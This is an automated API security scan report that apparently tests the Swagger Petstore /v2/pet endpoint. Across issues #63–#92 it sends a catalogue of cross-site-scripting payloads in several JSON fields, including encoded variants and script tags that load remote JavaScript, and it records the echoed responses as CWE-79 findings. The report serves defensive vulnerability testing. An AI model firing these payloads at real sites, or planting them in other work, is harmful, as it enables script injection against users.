Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 210
Full response:

```
{"id":9216678377732943885,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![
endif]-->"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<!--[if gte IE 4]><SCR... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #63

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 264
Full response:

```
{"id":9216678377732943888,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-
0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"],"
tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<OBJECT classid=clsid:... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #64

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 208
Full response:

```
{"id":9216678377732943899,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["Redirect 302 /a.jpg http://soapui.org/admin.asp&
deleteuser"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request 'Redirect 302 /a.jpg ht... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #65

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["string"],"tags":[{"id":0,"name":"<PLAINTEXT>"}]," status":"available"}

Response

Content-type: application/json
Content length: 161
Full response:

```
{"id":9216678377732943911,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<PLAINTEXT>"}],"
status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<PLAINTEXT>' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #66

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT SRC=http:/ /soapui.org/xss.js></SCRIPT>"}],"status":"available"}

Response

Content-type: application/json
Content length: 196
Full response:

```
{"id":9216678377732943914,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT SRC=http://
soapui.org/xss.js></SCRIPT>"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa... ' is

exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #67

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript:alert('XSS')>"}],"status":"available"}

Response

Content-type: application/json
Content length: 183
Full response:

```
{"id":9216678377732943916,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript:alert('XSS')>"}],"status":"available"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #68

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=JaVaScRiPt:alert('XSS')>"}],"status":"available"}

Response

Content-type: application/json
Content length: 183
Full response:

```
{"id":9216678377732943917,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=JaVaScRiPt:alert('XSS')>"}],"status":"available"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #69

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>"}],"status":"available"}

Response

Content-type: application/json
Content length: 193
Full response:

```
{"id":9216678377732943918,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript
:alert(&quot;XSS&quot;)>"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #70

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>"}],"status":"available"}

Response

Content-type: application/json
Content length: 207
Full response:

```
{"id":9216678377732943921,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript
:alert(String.fromCharCode(88,83,83))>"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #71

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"}],"status":"available"}

Response

Content-type: application/json
Content length: 286
Full response:

```
{"id":9216678377732943922,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#106;&#97
;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114
;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#106;&#97;&#... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #72

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>"}],"status":"available"}

Response

Content-type: application/json
Content length: 367
Full response:

```
{"id":9216678377732943923,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#0000106&
#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&
#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&
#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>"}],"status":"
available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#0000106&#00... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #73

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"}],"status":"available"}

Response

Content-type: application/json
Content length: 275
Full response:

```
{"id":9216678377732943924,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#x6A&#
x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&
#x28&#x27&#x58&#x53&#x53&#x27&#x29>"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#x6A&#x61&#x... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #74

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT SRC=http://soapui.org/xss.js?<B>"}],"status":"available"}

Response

Content-type: application/json
Content length: 190
Full response:

```
{"id":9216678377732943936,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT SRC=http://
soapui.org/xss.js?<B>"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #75

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT SRC=//ha.ckers.org/.j>"}],"status":"available"}

Response

Content-type: application/json
Content length: 180
Full response:

```
{"id":9216678377732943937,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT SRC=//
ha.ckers.org/.j>"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=//ha.ckers... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #76

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<iframe src=http://soapui.org/scriptlet.html <"}],"status":"available"}

Response

Content-type: application/json
Content length: 196
Full response:

```
{"id":9216678377732943939,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<iframe src=http://
soapui.org/scriptlet.html <"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<iframe src=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #77

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified

Name	Value

Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>"}],"status":"available"}

Response

Content-type: application/json
Content length: 189
Full response:

```
{"id":9216678377732943940,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT>a=/XSS/alert(a... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #78

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["string"],"tags":[{"id":0,"name":"\\\";alert('XSS');//"}]," status":"available"}

Response

Content-type: application/json
Content length: 170
Full response:

```
{"id":9216678377732943942,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"\\\";alert('XSS');/
/"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '\";alert('XSS');//' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #79

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["string"],"tags":[{"id":0,"name":"<BODY ONLOAD= alert('XSS')>"}],"status":"available"}

Response

Content-type: application/json
Content length: 176
Full response:

```
{"id":9216678377732943948,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<BODY ONLOAD=alert(
'XSS')>"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<BODY ONLOAD=alert('XS... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #80

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<STYLE>@import'http://soapui.org/xss.css';</STYLE>"}],"status":"available"}

Response

Content-type: application/json
Content length: 200
Full response:

```
{"id":9216678377732943960,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<STYLE>@import'http
://soapui.org/xss.css';</STYLE>"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<STYLE>@import'http://... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #81

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"}],"status":"available"}

Response

Content-type: application/json
Content length: 191
Full response:

```
{"id":9216678377732943970,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"ï¿½scriptï¿½alert(ï
¿½XSSï¿½)ï¿½/scriptï¿½"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request 'ï¿½scriptï¿½alert(ï¿½X... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #82

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"}],"status":"available"}

Response

Content-type: application/json
Content length: 210
Full response:

```
{"id":9216678377732943990,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<!--[if gte IE 4]><SCR... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #83

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"}],"status":"available"}

Response

Content-type: application/json
Content length: 264
Full response:

```
{"id":9216678377732943993,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<OBJECT classid=clsid:... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #84

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser"}],"status":"available"}

Response

Content-type: application/json
Content length: 208
Full response:

```
{"id":9216678377732944003,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"Redirect 302 /a.jpg
http://soapui.org/admin.asp&deleteuser"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request 'Redirect 302 /a.jpg ht... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #85

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<PLAINTEXT>"}

Response

Content-type: application/json
Content length: 158
Full response:

```
{"id":9216678377732944013,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<PLAINTEXT>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<PLAINTEXT>' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #86

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>"}

Response

Content-type: application/json
Content length: 193
Full response:

```
{"id":9216678377732944016,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #87

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=javascript:alert('XSS')>"}

Response

Content-type: application/json
Content length: 180
Full response:

```
{"id":9216678377732944018,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<IMG SRC=javascript:alert('XSS')>"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #88

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified

Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=JaVaScRiPt:alert('XSS')>"}

Response

Content-type: application/json
Content length: 180
Full response:

```
{"id":9216678377732944019,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<IMG SRC=JaVaScRiPt:alert('XSS')>"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #89

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>"}

Response

Content-type: application/json
Content length: 190
Full response:

```
{"id":9216678377732944020,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<IMG SRC=javascript:alert(&quot;XSS&quot;)>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #90

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG

	SRC=javascript:alert(String.fromCharCode(88,83,83))>"}

Response

Content-type: application/json
Content length: 204
Full response:

```
{"id":9216678377732944023,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #91

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"}

Response

Content-type: application/json
Content length: 283
Full response:

```
{"id":9216678377732944024,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&
#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#106;&#97;&#... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #92

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
